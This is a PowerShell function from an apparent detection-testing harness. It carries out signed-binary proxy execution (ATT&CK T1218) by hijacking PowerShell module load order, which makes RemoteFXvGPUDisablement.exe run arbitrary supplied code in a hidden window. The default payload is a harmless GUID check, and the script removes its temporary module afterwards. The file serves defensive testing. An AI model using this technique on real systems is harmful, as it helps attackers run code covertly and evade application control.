/
InvokeRemoteFXvGPUDisablementCommand.ps1
292 lines (210 loc) · 14.4 KB
/
InvokeRemoteFXvGPUDisablementCommand.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
function Invoke-ATHRemoteFXvGPUDisablementCommand {
<#
.SYNOPSIS
Executes PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable.
Technique ID: T1218 (Signed Binary Proxy Execution)
.DESCRIPTION
Invoke-ATHRemoteFXvGPUDisablementCommand executes supplied PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable. RemoteFXvGPUDisablement.exe was introduced in Windows 10 and Server 2019 (OS Build 17763.1339) and serves as a wrapper around several PowerShell commands.
One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. Invoke-ATHRemoteFXvGPUDisablementCommand gets RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable.
Invoke-ATHRemoteFXvGPUDisablementCommand is used to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.
Note: This technique will not work under the following conditions:
1. RemoteFXvGPUDisablement.exe is not present.
2. PowerShell Constrained Language Mode is enforced. Because the temporary module written to disk is unlikely to be permitted by application control (WDAC/AppLocker) policy, it will fail to load and be logged accordingly ("Microsoft-Windows-AppLocker/MSI and Script" Event ID 8029 - applies to AppLocker and WDAC).
.PARAMETER RemoteFXvGPUDisablementFilePath
Specifies an alternate directory to execute RemoteFXvGPUDisablement.exe from. if -RemoteFXvGPUDisablementFilePath is not supplied, RemoteFXvGPUDisablement.exe will execute from %windir%.
.PARAMETER ScriptBlock
Specifies optional PowerShell code to execute. Note that supplied PowerShell code will not display output so validate execution accordingly. When supplying a custom scriptblock, Invoke-ATHRemoteFXvGPUDisablementCommand is unable to validate successful execution. if -ScriptBlock is not supplied, it will execute template PowerShell code that is used to validate successful execution.
.PARAMETER ModuleName
Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used.
.PARAMETER ModulePath
Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used/ Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.
.PARAMETER TestGuid
Optionally, specify a test GUID value to use to override the generated test GUID behavior.
.OUTPUTS
PSObject
Outputs an object consisting of relevant execution details. The following object properties may be populated:
* TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
* TestSuccess - Will be set to True if it was determined that the PowerShell code successfully executed. Note: "True" is only returned when an argument is not supplied to -ScriptBlock, i.e. the default template code is used.
* TestGuid - Specifies the test GUID that was used for the test.
* ModulePath - Specifies the path to the temporary module created.
* ModuleContents - Specifies the contents of the custom implementation of the Get-VMRemoteFXPhysicalVideoAdapter function.
* ModuleFileHash - Specifies the SHA256 file hash of the custom script module file.
* RunnerFilePath - Specifies the full path of RemoteFXvGPUDisablement.exe.
* RunnerProcessId - Specifies the process ID of RemoteFXvGPUDisablement.exe.
* RunnerCommandLine - Specifies the command-line of RemoteFXvGPUDisablement.exe.
* RunnerChildProcessId - Specifies the process ID of the process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock.
* RunnerChildProcessCommandLine - Specifies the command-line of process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock.
.EXAMPLE
Invoke-ATHRemoteFXvGPUDisablementCommand
.EXAMPLE
Invoke-ATHRemoteFXvGPUDisablementCommand -ScriptBlock { Get-Date | Out-File -FilePath 'C:\Users\CurrentUser\Desktop\executed.txt' -Append }
.EXAMPLE
Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName Foo
.EXAMPLE
Invoke-ATHRemoteFXvGPUDisablementCommand -ModulePath $PWD
Executes PowerShell code from a user-supplied module path, in this case, the current directory.
.EXAMPLE
Copy-Item -Path "$Env:windir\System32\RemoteFXvGPUDisablement.exe" -Destination 'notepad.exe'
Invoke-ATHRemoteFXvGPUDisablementCommand -RemoteFXvGPUDisablementFilePath 'notepad.exe'
Executes RemoteFXvGPUDisablement.exe from a relocated and renamed executable, notepad.exe in the current directory, in this case.
.LINK
https://support.microsoft.com/en-us/help/4558998/windows-10-update-kb4558998
https://support.microsoft.com/en-us/help/4570006/update-to-disable-and-remove-the-remotefx-vgpu-component
https://twitter.com/pronichkin/status/1285241439052427265
#>
[CmdletBinding()]
param (
[String]
[ValidateNotNullOrEmpty()]
$RemoteFXvGPUDisablementFilePath = "$Env:windir\System32\RemoteFXvGPUDisablement.exe",
[ScriptBlock]
$ScriptBlock,
[String]
[ValidateNotNullOrEmpty()]
$ModuleName = ((1..16 | ForEach-Object { [Char] (Get-Random -Minimum 0x41 -Maximum 0x5B) }) -join ''),
[String]
[ValidateScript({ Test-Path -Path $_ -PathType Container })]
$ModulePath,
[Guid]
$TestGuid = (New-Guid)
)
$ModuleExecuted = $null
$FullModulePath = $null
$ExecutedRemoteFXvGPUDisablementCommandLine = $null
$ExecutedRemoteFXvGPUDisablementPID = $null
$SpawnedProcCommandLine = $null
$SpawnedProcProcessId = $null
$RemoteFXvGPUDisablementFullPath = Resolve-Path -Path $RemoteFXvGPUDisablementFilePath -ErrorAction Stop
if ($ModulePath) {
$FullModulePath = Resolve-Path -Path $ModulePath
} else {
# Obtain the first entry in the PSModulePath list
$FullModulePath = $Env:PSModulePath.Split(';')[0]
}
# Validate that the RemoteFXvGPUDisablement supplied is actually RemoteFXvGPUDisablement.
$RemoteFXvGPUDisablementFileInfo = Get-Item -Path $RemoteFXvGPUDisablementFullPath -ErrorAction Stop
if ($RemoteFXvGPUDisablementFileInfo.VersionInfo.OriginalFilename -ne 'RemoteFXvGPUDisablement.exe') {
Write-Error "The RemoteFXvGPUDisablement executable supplied is not RemoteFXvGPUDisablement.exe: $RemoteFXvGPUDisablementFullPath"
return
}
if (Get-Command -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue | Where-Object { $_.Source -ne 'Hyper-V' }) {
Write-Error -Message 'A Get-VMRemoteFXPhysicalVideoAdapter function already exists outside of the Hyper-V module. All other modules containing the Get-VMRemoteFXPhysicalVideoAdapter function must be deleted.'
return
}
$ParentPath = Split-Path -Path $FullModulePath -Parent
# If the parent module directory doesn't exist, create it
if (-not (Test-Path -Path $ParentPath)) {
# Create the PowerShell directory
$null = New-Item -Path $ParentPath -ItemType Directory -ErrorAction Stop
# Create the modules directory
$null = New-Item -Path $FullModulePath -ItemType Directory -ErrorAction Stop
}
if ($ScriptBlock) {
$FunctionToExecute = @'
function Get-VMRemoteFXPhysicalVideoAdapter {
'@ + $ScriptBlock.ToString() + @'
}
'@
} else {
$FunctionToExecute = @"
function Get-VMRemoteFXPhysicalVideoAdapter {
`$ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
`$ProcessStartupInstance = Get-CimInstance -InputObject `$ProcessStartup
`$ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window
`$ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "powershell.exe -NoProfile -Command Write-Host $TestGuid"; ProcessStartupInformation = `$ProcessStartupInstance }
}
"@
}
if (Get-Module -ListAvailable -Name $ModuleName) {
Write-Error -Message "The $ModuleName module already exists."
return
}
Write-Verbose "Adding the following module to $($FullModulePath): $ModuleName"
$NewModulePath = New-Item -Path $FullModulePath -Name $ModuleName -ItemType Directory
$ModuleScriptPath = "$($NewModulePath.FullName)\$ModuleName.psm1"
Write-Verbose "Writing the following content to $($ModuleScriptPath):`r`n`r`n$FunctionToExecute"
# Write the module contents to the temporary script module
Out-File -FilePath $ModuleScriptPath -InputObject $FunctionToExecute -ErrorAction Stop
$ScriptModuleFileHash = Get-FileHash -Path $ModuleScriptPath | Select-Object -ExpandProperty Hash
# Validate that the module is now available
$ModuleInfo = Import-Module $ModuleScriptPath -PassThru -ErrorAction Stop
$null = Get-Command -Module $ModuleName -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction Stop
if (-not $ScriptBlock) {
# Remove any extra ChildProcSpawned events
Unregister-Event -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue
Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event
# Trigger an event any time powershell.exe has $TestGuid in the command line.
# This event should correspond to the mshta or rundll process that launched it.
$WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 0.1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'powershell.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'"
Write-Verbose "Registering powershell.exe child process creation WMI event using the following WMI event query: $WMIEventQuery"
$null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action {
$SpawnedProcInfo = [PSCustomObject] @{
ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId
ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine
}
New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo
}
}
# Spawn RemoteFXvGPUDisablement.exe instance
$ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly
$ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup
$ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window
if ($ModulePath) {
# Prepend the supplied module path to %PSModulePath%
$CustomPSModulePath = "PSModulePath=$($FullModulePath);$($Env:PSModulePath)"
# Gather up all existing environment variables except %PSModulePath%.
[String[]] $AllEnvVarsExceptPSModulePath = Get-ChildItem Env:\* -Exclude 'PSModulePath' | ForEach-Object { "$($_.Name)=$($_.Value)" }
[String[]] $AllEnvVars = $AllEnvVarsExceptPSModulePath + $CustomPSModulePath
$ProcessStartupInstance.EnvironmentVariables = $AllEnvVars
}
$ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "`"$RemoteFXvGPUDisablementFullPath`" Disable"; ProcessStartupInformation = $ProcessStartupInstance }
if ($ProcStartResult.ReturnValue -eq 0) {
# Retrieve the actual command-line of the spawned PowerShell process
$ExecutedRemoteFXvGPUDisablementProcInfo = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $($ProcStartResult.ProcessId)" -Property CommandLine, ExecutablePath
$ExecutedRemoteFXvGPUDisablementCommandLine = $ExecutedRemoteFXvGPUDisablementProcInfo.CommandLine
$ExecutedRemoteFXvGPUDisablementPID = $ProcStartResult.ProcessId
$RemoteFXvGPUDisablementFullPath = $ExecutedRemoteFXvGPUDisablementProcInfo.ExecutablePath
} else {
Write-Error "RemoteFXvGPUDisablementFullPath.exe child process was not spawned."
}
if (-not $ScriptBlock) {
# Wait for the test powershell.exe execution to run
$ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10
$ChildProcInfo = $null
if ($ChildProcSpawnedEvent) {
$ModuleExecuted = $True
$ChildProcInfo = $ChildProcSpawnedEvent.MessageData
$SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine
$SpawnedProcProcessId = $ChildProcInfo.ProcessId
$ChildProcSpawnedEvent | Remove-Event
} else {
Write-Error "powershell.exe child process was not spawned."
}
# Cleanup
Unregister-Event -SourceIdentifier 'ProcessSpawned'
}
[PSCustomObject] @{
TechniqueID = 'T1218'
TestSuccess = $ModuleExecuted
TestGuid = $TestGuid
ModulePath = $ModuleScriptPath
ModuleContents = $FunctionToExecute
ModuleFileHash = $ScriptModuleFileHash
RunnerFilePath = $RemoteFXvGPUDisablementFullPath
RunnerProcessId = $ExecutedRemoteFXvGPUDisablementPID
RunnerCommandLine = $ExecutedRemoteFXvGPUDisablementCommandLine
RunnerChildProcessId = $SpawnedProcProcessId
RunnerChildProcessCommandLine = $SpawnedProcCommandLine
}
# Sleep a few seconds to give it some time to execute prior to deleting the temporary module.
if ($ScriptBlock) {
Start-Sleep -Seconds 2
}
# Delete the module that was just created
Write-Verbose "Deleting the script module: $ModuleScriptPath"
Remove-Item -Path $ModuleScriptPath -Force -ErrorAction SilentlyContinue
Write-Verbose "Deleting the module path: $NewModulePath"
Remove-Item -Path $NewModulePath -Force -ErrorAction SilentlyContinue
Remove-Module -ModuleInfo $ModuleInfo -ErrorAction SilentlyContinue
Remove-Item Function:\Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue
}